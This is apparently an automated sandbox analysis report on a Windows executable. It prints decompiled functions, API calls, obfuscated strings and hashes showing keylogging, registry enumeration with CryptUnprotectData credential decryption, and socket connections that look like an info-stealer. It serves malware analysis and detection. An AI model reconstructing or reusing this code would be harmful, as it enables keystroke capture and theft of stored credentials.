				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x00405635
0x00405637
0x0040565f
0x00405644
0x00405649
0x00405654
0x00000000
0x00405671
0x0040565d
0x0040565d
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405649
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405657
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 25fbcb832c33ec4964fd827efed06e6d871dcd69bbe6b28132c6debe6a032c6a
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: 02F0A736249D51DBC2025B355C04E6FAA94EF92354B54097AF444F2251D33A98129BBF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: US1pwXib6h.exe PID: 6548 Parent PID: 6476 US1pwXib6h.exeCOMMON

Executed Functions

Function 00409CF9, Relevance: 9.1, APIs: 6, Instructions: 84registrywindowCOMMON

Download Yara Rule

APIs

RegisterRawInputDevices.USER32 ref: 00409D54
GetRawInputData.USER32 ref: 00409DA2
malloc.MSVCRT ref: 00409DB9
GetRawInputData.USER32 ref: 00409DE1
PostQuitMessage.USER32 ref: 00409E2A
DefWindowProcW.USER32 ref: 00409E51

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Input$Data$DevicesMessagePostProcQuitRegisterWindowmalloc
String ID:
API String ID: 313297285-0
Opcode ID: 8fa5260b1d5733d40928bb1bda00e8025699e4cb47a79eb0a4c3e691f0a83ba9
Instruction ID: 8f5191d016256b480c4c319c523a8aa6d2556ceaf8fc0f27f6562cff8ba32449
Opcode Fuzzy Hash: 8fa5260b1d5733d40928bb1bda00e8025699e4cb47a79eb0a4c3e691f0a83ba9
Instruction Fuzzy Hash: 7E31B6B0508300DED710EF25C58976BBBE0BF84748F50892EE48997292D779CD85CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00409E61, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 87registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

RegisterClassExW.USER32 ref: 00409F29

Strings

ssdaClass, xrefs: 00409E69
Ed5rCgXRsQ5aC5C, xrefs: 00409EB8
0, xrefs: 00409EEF
user32.dll, xrefs: 00409E86, 00409EC4
0, xrefs: 00409F0A
rdn465d0rCgXRsQ5ad24Yd6, xrefs: 00409E7A

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressClassLibraryLoadProcRegister
String ID: 0$0$Ed5rCgXRsQ5aC5C$rdn465d0rCgXRsQ5ad24Yd6$ssdaClass$user32.dll
API String ID: 3006457887-2341246112
Opcode ID: eed60d624a5036191c5a01f9f44c180ff77991b3a128f902be9f0c859de88d18
Instruction ID: dc59c3b724a470855dcc4065ae2b59d1d9b3c777af613543eb6a0d926dcb9681
Opcode Fuzzy Hash: eed60d624a5036191c5a01f9f44c180ff77991b3a128f902be9f0c859de88d18
Instruction Fuzzy Hash: 863108B05183019AE310BF25D55531FBAE0BF84348F41892EF4C4AB292D7BD8949CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004059D3, Relevance: 9.2, APIs: 6, Instructions: 166
networkCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E004059D3(signed int __ecx, signed int _a4, signed int _a8) {
				char _v44;
				char _v48;
				signed int _v60;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				void* __ebp;
				signed int _t57;
				intOrPtr _t61;
				signed int _t63;
				intOrPtr _t71;
				signed int _t73;
				intOrPtr _t77;
				intOrPtr _t83;
				signed int _t87;
				signed int _t89;
				intOrPtr _t90;
				char* _t93;
				char* _t94;
				char* _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int* _t100;
				void* _t101;
				intOrPtr* _t102;

				_t88 = __ecx;
				_t100 =  &_v60;
				_t87 = _a4;
				_t97 = _a8;
				_v48 = 0xffffffff;
				if(E00408E53() != 4) {
					if(E00408E53() != 2) {
						_t93 =  &_v44;
						_v72 = _t97;
						 *_t100 = _t87;
						_v68 = _t93;
						_t57 = E004051B5(__ecx, _t90);
						if(_t57 != 0) {
							_v68 = 6;
							_v72 = 1;
							 *_t100 = 2; // executed
							L0041F8E4(); // executed
							_t101 = _t100 - 0xc;
							_v60 = _t57;
							if(_t57 == 0xffffffff) {
								goto L28;
							}
							_v80 = 0x10;
							_v84 = _t93;
							_v88 = _t57; // executed
							L0041F93C(); // executed
							_t102 = _t101 - 0xc;
							if(_t57 != 0) {
								L12:
								 *_t102 =  &_v72;
								_t57 = E00405999(_t90);
								goto L28;
							}
							L31:
							return _v72;
						}
						L28:
						return _t57 | 0xffffffff;
					}
					if( *0x42b300 == 0) {
						 *0x42b300 =  *0x42b304;
					}
					_t94 =  &_v44;
					_t98 =  &_v48;
					while(1) {
						_t61 =  *0x42b300;
						if(_t61 == 0) {
							goto L31;
						}
						_v68 = _t94;
						_t91 =  *((intOrPtr*)(_t61 + 0x44));
						 *_t100 = _t61 + 4;
						_v72 =  *((intOrPtr*)(_t61 + 0x44));
						_t63 = E004051B5(_t88,  *((intOrPtr*)(_t61 + 0x44)));
						if(_t63 == 0) {
							L26:
							 *0x42b300 =  *((intOrPtr*)( *0x42b300 + 0x88));
							continue;
						}
						_v68 = 0;
						_v72 = 1;
						 *_t100 = 2;
						L0041F8E4();
						_v80 = 0x10;
						_v84 = _t94;
						_v88 = _t63;
						_v60 = _t63;
						L0041F93C();
						_t100 = _t100;
						if(_t63 == 0) {
							_v88 = _t97;
							_v92 = _t87;
							_v96 =  *0x42b300;
							 *_t100 = _v72;
							if(E004058E9(_t98) == 0) {
								goto L23;
							}
							goto L31;
						}
						L23:
						 *_t100 = _t98;
						E00405999(_t91);
						goto L26;
					}
					goto L31;
				}
				if( *0x42b300 == 0) {
					 *0x42b300 =  *0x42b304;
				}
				_t95 =  &_v44;
				_t99 =  &_v48;
				while(1) {
					_t71 =  *0x42b300;
					if(_t71 == 0) {
						goto L31;
					}
					_v68 = _t95;
					_t92 =  *((intOrPtr*)(_t71 + 0x44));
					 *_t100 = _t71 + 4;
					_v72 =  *((intOrPtr*)(_t71 + 0x44));
					_t73 = E004051B5(_t88,  *((intOrPtr*)(_t71 + 0x44)));
					if(_t73 == 0) {
						L15:
						 *0x42b300 =  *((intOrPtr*)( *0x42b300 + 0x88));
						continue;
					}
					_v68 = 0;
					_v72 = 1;
					 *_t100 = 2;
					L0041F8E4();
					_v80 = 0x10;
					_v84 = _t95;
					_v88 = _t73;
					_v60 = _t73;
					L0041F93C();
					_t100 = _t100;
					if(_t73 != 0) {
						L14:
						 *_t100 = _t99;
						E00405999(_t92);
						goto L15;
					}
					_t92 =  *0x42b300;
					_t77 =  *((intOrPtr*)(_t92 + 0x88));
					_t88 =  *((intOrPtr*)(_t77 + 0x44));
					_v96 = _t92;
					_v92 = _t77 + 4;
					_v88 =  *((intOrPtr*)(_t77 + 0x44));
					 *_t100 = _v72;
					if(E004058E9(_t99) == 0) {
						goto L14;
					} else {
						goto L8;
					}
					while(1) {
						L8:
						 *0x42b300 =  *((intOrPtr*)( *0x42b300 + 0x88));
						_t90 =  *0x42b300;
						if(_t90 == 0) {
							goto L31;
						}
						_t83 =  *((intOrPtr*)(_t90 + 0x88));
						_t89 = _v72;
						if(_t83 == 0) {
							_v88 = _t97;
							_v92 = _t87;
						} else {
							_v92 = _t83 + 4;
							_v88 =  *(_t83 + 0x44);
						}
						_v96 = _t90;
						 *_t100 = _t89;
						if(E004058E9(_t99) != 0) {
							continue;
						} else {
							goto L12;
						}
					}
					goto L31;
				}
				goto L31;
			}

0x004059d3
0x004059d7
0x004059da
0x004059de
0x004059e2
0x004059f2
0x00405b38
0x00405c00
0x00405c04
0x00405c08
0x00405c0b
0x00405c0f
0x00405c16
0x00405c1d
0x00405c25
0x00405c2d
0x00405c34
0x00405c39
0x00405c3f
0x00405c43
0x00000000
0x00000000
0x00405c45
0x00405c4d
0x00405c51
0x00405c54
0x00405c59
0x00405c5e
0x00405af8
0x00405afc
0x00405aff
0x00000000
0x00405aff
0x00405c64
0x00000000
0x00405c64
0x00405c18
0x00000000
0x00405c18
0x00405b45
0x00405b4c
0x00405b4c
0x00405b51
0x00405b55
0x00405b59
0x00405b59
0x00405b60
0x00000000
0x00000000
0x00405b66
0x00405b6a
0x00405b70
0x00405b73
0x00405b77
0x00405b7e
0x00405beb
0x00405bf6
0x00000000
0x00405bf6
0x00405b80
0x00405b88
0x00405b90
0x00405b97
0x00405b9f
0x00405ba7
0x00405bab
0x00405bae
0x00405bb2
0x00405bb7
0x00405bbc
0x00405bcd
0x00405bd1
0x00405bd5
0x00405bdd
0x00405be7
0x00000000
0x00000000
0x00000000
0x00405be9
0x00405bbe
0x00405bbe
0x00405bc1
0x00000000
0x00405bc1
0x00000000
0x00405b59
0x004059ff
0x00405a06
0x00405a06
0x00405a0b
0x00405a0f
0x00405a13
0x00405a13
0x00405a1a
0x00000000
0x00000000
0x00405a20
0x00405a24
0x00405a2a
0x00405a2d
0x00405a31
0x00405a38
0x00405b1b
0x00405b26
0x00000000
0x00405b26
0x00405a3e
0x00405a46
0x00405a4e
0x00405a55
0x00405a5d
0x00405a65
0x00405a69
0x00405a6c
0x00405a70
0x00405a75
0x00405a7a
0x00405b13
0x00405b13
0x00405b16
0x00000000
0x00405b16
0x00405a80
0x00405a86
0x00405a8c
0x00405a92
0x00405a96
0x00405a9e
0x00405aa2
0x00405aac
0x00000000
0x00000000
0x00000000
0x00000000
0x00405aae
0x00405aae
0x00405ab9
0x00405abe
0x00405ac6
0x00000000
0x00000000
0x00405acc
0x00405ad2
0x00405ad8
0x00405b09
0x00405b0d
0x00405ada
0x00405ae0
0x00405ae4
0x00405ae4
0x00405ae8
0x00405aec
0x00405af6
0x00000000
0x00000000
0x00000000
0x00000000
0x00405af6
0x00000000
0x00405aae
0x00000000

APIs

socket.WS2_32 ref: 00405A55
connect.WS2_32 ref: 00405A70

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

socket.WS2_32 ref: 00405B97
connect.WS2_32 ref: 00405BB2
socket.WS2_32 ref: 00405C34
connect.WS2_32 ref: 00405C54

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: connectsocket$closesocketgethostbynamehtonsshutdown
String ID:
API String ID: 4225652895-0
Opcode ID: 257ab1642c2ba7176df9333284737b40def127f22e375dc60ae8d0ec264ec92a
Instruction ID: dc7f80c90ba20af356347f24dd4de35e54817c060e921352895bdcebc13e1e4f
Opcode Fuzzy Hash: 257ab1642c2ba7176df9333284737b40def127f22e375dc60ae8d0ec264ec92a
Instruction Fuzzy Hash: 7D71B7B0508B059FD710EF29D58465BBBE0FF84354F54893EE88897392D778A4468F4A

Uniqueness

Uniqueness Score: -1.00%

Function 004106BD, Relevance: 9.1, APIs: 6, Instructions: 85registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00408ECF), ref: 004106EF
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00410728
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00410765
RegQueryValueExA.ADVAPI32 ref: 004107A0
RegQueryValueExA.ADVAPI32 ref: 004107DD
RegCloseKey.ADVAPI32 ref: 004107F3

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$Open$Close
String ID:
API String ID: 2855150075-0
Opcode ID: e61b238f31f9a1af3280de932191ddadf40332958d4424c58cf9f30b9089abbc
Instruction ID: b9298c354bfd1ad9ab6003ea3d07812b51851590691558723ca7996c5ddaa5d6
Opcode Fuzzy Hash: e61b238f31f9a1af3280de932191ddadf40332958d4424c58cf9f30b9089abbc
Instruction Fuzzy Hash: 8331C3B55083059BD300AF6AC54435BFBE4BB84758F40892EF89897351D7B8EA898F86

Uniqueness

Uniqueness Score: -1.00%

Function 00410608, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00410656
RegSetValueExA.ADVAPI32 ref: 0041069B
RegCloseKey.ADVAPI32 ref: 004106AF

Strings

?, xrefs: 00410623

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseCreateValue
String ID: ?
API String ID: 1818849710-1684325040
Opcode ID: 1e6f53b0590ab74d9dcc6709235106d0a0d986833162969ce48852ece4fb2487
Instruction ID: d7b5c200bfe116dfd6f132702afe2373019979046eeb2612c7d3539b4a1fd506
Opcode Fuzzy Hash: 1e6f53b0590ab74d9dcc6709235106d0a0d986833162969ce48852ece4fb2487
Instruction Fuzzy Hash: 6111B0B45083419FD340EF69D59475BFBE0BB88354F40892EF89883351E7B9D5898F86

Uniqueness

Uniqueness Score: -1.00%

Function 00408AB3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,?,00409119), ref: 00408ACD
GetLastError.KERNEL32 ref: 00408AE0

Strings

oCTboYgC, xrefs: 00408AB6

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: oCTboYgC
API String ID: 1925916568-2829480822
Opcode ID: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction ID: ad06f29d9f34d8de5c37fb948c6dfac14eb5c16bc83129ba4182c5028b8a9bce
Opcode Fuzzy Hash: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction Fuzzy Hash: FED05EB4504701AAD714FF2982453993EE05B40308F84843EDC88C3796E3BD81DD8B1B

Uniqueness

Uniqueness Score: -1.00%

Function 00409CF9, Relevance: 4.6, APIs: 3, Instructions: 84windowCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00409DB9
PostQuitMessage.USER32 ref: 00409E2A
DefWindowProcW.USER32 ref: 00409E51

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: MessagePostProcQuitWindowmalloc
String ID:
API String ID: 3742819237-0
Opcode ID: 8fa5260b1d5733d40928bb1bda00e8025699e4cb47a79eb0a4c3e691f0a83ba9
Instruction ID: 8f5191d016256b480c4c319c523a8aa6d2556ceaf8fc0f27f6562cff8ba32449
Opcode Fuzzy Hash: 8fa5260b1d5733d40928bb1bda00e8025699e4cb47a79eb0a4c3e691f0a83ba9
Instruction Fuzzy Hash: 7E31B6B0508300DED710EF25C58976BBBE0BF84748F50892EE48997292D779CD85CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00405959, Relevance: 4.5, APIs: 3, Instructions: 16networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 0040596E
ExitProcess.KERNEL32 ref: 00405980
InitializeCriticalSection.KERNEL32 ref: 0040598C

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalExitInitializeProcessSectionStartup
String ID:
API String ID: 3456047655-0
Opcode ID: 586562ab7f660d792621f7f3ff03a76942849b748750d6b5247e0080a37609ce
Instruction ID: 24ad92727fe000e7c60640d94de1f7f21ee868b5df478abe0a14dc0806b9406b
Opcode Fuzzy Hash: 586562ab7f660d792621f7f3ff03a76942849b748750d6b5247e0080a37609ce
Instruction Fuzzy Hash: A4D012F0504301AEE710BF51D4057BA7AE8AB41310F41483EA8D086242D77D448D4AA7

Uniqueness

Uniqueness Score: -1.00%

Function 004051B5, Relevance: 3.0, APIs: 2, Instructions: 31networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32 ref: 004051C5
htons.WS2_32 ref: 00405202

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynamehtons
String ID:
API String ID: 2664724638-0
Opcode ID: 2e7b8c339338589e02d34dbb988770e9779c51bc79032b7918c0481683a5381f
Instruction ID: c7c63fa6584d291762938b61b036814656b365f8fb5761cd288c2352f27d1738
Opcode Fuzzy Hash: 2e7b8c339338589e02d34dbb988770e9779c51bc79032b7918c0481683a5381f
Instruction Fuzzy Hash: 6AF01DB45157109FC710EF29C48165BBBE0FF48314F06895DE8C89B316E238D880CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00405999, Relevance: 3.0, APIs: 2, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00405999(void* __edx, intOrPtr* _a4) {
				intOrPtr _v24;
				void* _t3;
				intOrPtr _t4;
				intOrPtr* _t5;
				intOrPtr* _t7;

				_t7 =  &_v24;
				_t5 = _a4;
				if(_t5 != 0) {
					_t4 =  *_t5;
					if(_t4 >= 0) {
						_v24 = 2;
						 *_t7 = _t4;
						L0041F8EC();
						_push(_t4);
						_push(_t4);
						_t4 =  *_t5;
						 *_t7 = _t4; // executed
						L0041F944(); // executed
					}
					 *_t5 = 0xffffffff;
					return _t4;
				}
				return _t3;
			}

0x0040599a
0x0040599d
0x004059a3
0x004059a5
0x004059a9
0x004059ab
0x004059b3
0x004059b6
0x004059bb
0x004059bc
0x004059bd
0x004059bf
0x004059c2
0x004059c7
0x004059c8
0x00000000
0x004059c8
0x004059d2

APIs

shutdown.WS2_32 ref: 004059B6
closesocket.WS2_32(00000000), ref: 004059C2

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: e8037353ae3b2f141cd6410607991ca1c33182c7b3dcc0614c526eb721a736db
Instruction ID: f291bde43cdf28ff5ccfee5695a4f566fadb2f188b35056d12ca1e4773db4bd9
Opcode Fuzzy Hash: e8037353ae3b2f141cd6410607991ca1c33182c7b3dcc0614c526eb721a736db
Instruction Fuzzy Hash: C1E04FF0600B009BDB00BF69C8C5A1B7AECAF05724F40096DE4C49B286D33894448B12

Uniqueness

Uniqueness Score: -1.00%

Function 00407F08, Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 00407F3A
CloseHandle.KERNEL32 ref: 00407F48

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle_beginthreadex
String ID:
API String ID: 788476133-0
Opcode ID: fb4d98f2a53ae6409f6c220ec1503fd208175c29cdc863a72313857efbd16cf0
Instruction ID: b77cc9640a869472d98c168585856c66a20ad6fb8ba8512900d684390161e27e
Opcode Fuzzy Hash: fb4d98f2a53ae6409f6c220ec1503fd208175c29cdc863a72313857efbd16cf0
Instruction Fuzzy Hash: 72E0C2B0A083418FD300EF29C44034BBBE1AB84308F40882EF898C7740E37ED9498B87

Uniqueness

Uniqueness Score: -1.00%

Function 00408AB3, Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,?,00409119), ref: 00408ACD
GetLastError.KERNEL32 ref: 00408AE0

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction ID: ad06f29d9f34d8de5c37fb948c6dfac14eb5c16bc83129ba4182c5028b8a9bce
Opcode Fuzzy Hash: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction Fuzzy Hash: FED05EB4504701AAD714FF2982453993EE05B40308F84843EDC88C3796E3BD81DD8B1B

Uniqueness

Uniqueness Score: -1.00%

Function 00407EF4, Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00407EFE

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e3c58914c79796914ae3652b9338830a73e9f14980a586d20e581d2826090cc4
Instruction ID: d679871287b4664fab267dfb904784a560a8627629bc176350aa90e446a3ed10
Opcode Fuzzy Hash: e3c58914c79796914ae3652b9338830a73e9f14980a586d20e581d2826090cc4
Instruction Fuzzy Hash: D1B01274904B4047C700BF6C854245B7AE87A44304FC409ACF8C4D3303E13C82998A6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409953, Relevance: 65.0, APIs: 13, Strings: 24, Instructions: 210keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32 ref: 0040996B
GetKeyState.USER32 ref: 0040997A
GetKeyState.USER32 ref: 00409987
GetKeyState.USER32 ref: 00409994
GetKeyboardState.USER32(00000000), ref: 004099A4
MapVirtualKeyW.USER32(00000000,00000000), ref: 00409B33
ToUnicode.USER32 ref: 00409B60
WideCharToMultiByte.KERNEL32 ref: 00409BAA
GetKeyState.USER32 ref: 00409BB9
MapVirtualKeyW.USER32 ref: 00409C01
GetKeyNameTextW.USER32 ref: 00409C21
GetKeyState.USER32 ref: 00409C38
WideCharToMultiByte.KERNEL32 ref: 00409CA8

Strings

[D00Wg aWgR], xrefs: 00409AAE
[c0dCw], xrefs: 00409AD2
[cCYw6sCYd], xrefs: 004099DE
[MY0Wii mWYw], xrefs: 00409A81
[9Cnd aWgR], xrefs: 00409AC0
[D00Wg us], xrefs: 00409A3F
[jRS], xrefs: 00409AC9
[PCs6 mWYw], xrefs: 00409AED
[Ctrl+%s], xrefs: 00409BD4
[D00Wg r4nI5], xrefs: 00409AA5
[9Cnd us], xrefs: 00409A0B
[-Wld], xrefs: 00409AB7
@, xrefs: 00409C12
[P50i+%Y], xrefs: 00409C57
[%s], xrefs: 00409CB4
@, xrefs: 00409C81
[904R5 MY0ddR], xrefs: 00409A64
[qCV], xrefs: 00409A93
[D00Wg md85], xrefs: 00409A9C
[XR6d05], xrefs: 00409AE4
[j6Y], xrefs: 00409AF6
[adid5d], xrefs: 00409ADB
@, xrefs: 00409B49
[jR5d0], xrefs: 00409A8A

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: State$ByteCharMultiVirtualWide$KeyboardNameTextUnicode
String ID: @$@$@$[%s]$[-Wld]$[904R5 MY0ddR]$[9Cnd aWgR]$[9Cnd us]$[Ctrl+%s]$[D00Wg aWgR]$[D00Wg md85]$[D00Wg r4nI5]$[D00Wg us]$[MY0Wii mWYw]$[P50i+%Y]$[PCs6 mWYw]$[XR6d05]$[adid5d]$[c0dCw]$[cCYw6sCYd]$[j6Y]$[jR5d0]$[jRS]$[qCV]
API String ID: 284565539-287945508
Opcode ID: a7201299a71ac298b4eb1a048ca88babafc008e2bbcecdb455fdf88870e38ce2
Instruction ID: 165817b8f912d8248abf4659c11c564849502453b133aa370f8f06421a69fc02
Opcode Fuzzy Hash: a7201299a71ac298b4eb1a048ca88babafc008e2bbcecdb455fdf88870e38ce2
Instruction Fuzzy Hash: 5D815AB0608351DAD720AF59D4C436FBAF4FB81304F51892FE4D566282C3BD49859F6B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4B7, Relevance: 56.7, APIs: 14, Strings: 18, Instructions: 656registryencryptionwindowCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0040C503
RegEnumKeyExA.ADVAPI32 ref: 0040C55F
RegOpenKeyExA.ADVAPI32 ref: 0040C5CE
RegCloseKey.ADVAPI32 ref: 0040C9E3

Part of subcall function 0040C46E: RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0040CB2E), ref: 0040C4A6

RegOpenKeyExA.ADVAPI32 ref: 0040CA1C
RegEnumKeyExA.ADVAPI32 ref: 0040CA78
RegOpenKeyExA.ADVAPI32 ref: 0040CAE7
RegCloseKey.ADVAPI32 ref: 0040CF16

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

RegCloseKey.ADVAPI32 ref: 0040CEFC
CryptUnprotectData.CRYPT32 ref: 0040CF7D
LocalFree.KERNEL32 ref: 0040CFAC
CryptUnprotectData.CRYPT32 ref: 0040D072
GetMenuState.USER32 ref: 0040D095
LocalFree.KERNEL32 ref: 0040D0A1

Strings

-qq9 9C66gW0S, xrefs: 0040C7C4, 0040CCDD
jDM 9C66gW0S, xrefs: 0040C908, 0040CE21
MFq9 Md02d0, xrefs: 0040C831, 0040CD4A
MFq9 u6d0, xrefs: 0040C801, 0040CD1A
?, xrefs: 0040C5AF
9T9N 9C66gW0S, xrefs: 0040C684, 0040CB9D
jDM u6d0, xrefs: 0040C8A1, 0040CDBA
XFD9 u6d0, xrefs: 0040C6C1, 0040CBDA
MFq9 9C66gW0S, xrefs: 0040C864, 0040CD7D
jlC4i, xrefs: 0040C5DE, 0040CAF7
9T9N u6d0, xrefs: 0040C61D, 0040CB36
XFD9 Md02d0, xrefs: 0040C6F1, 0040CC0A
jDM Md02d0 urm, xrefs: 0040C8D5, 0040CDEE
-qq9 Md02d0, xrefs: 0040C791, 0040CCAA
%s\%s, xrefs: 0040C580, 0040CA99
-qq9 u6d0, xrefs: 0040C761, 0040CC7A
9T9N Md02d0, xrefs: 0040C651, 0040CB6A
XFD9 9C66gW0S, xrefs: 0040C724, 0040CC3D

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

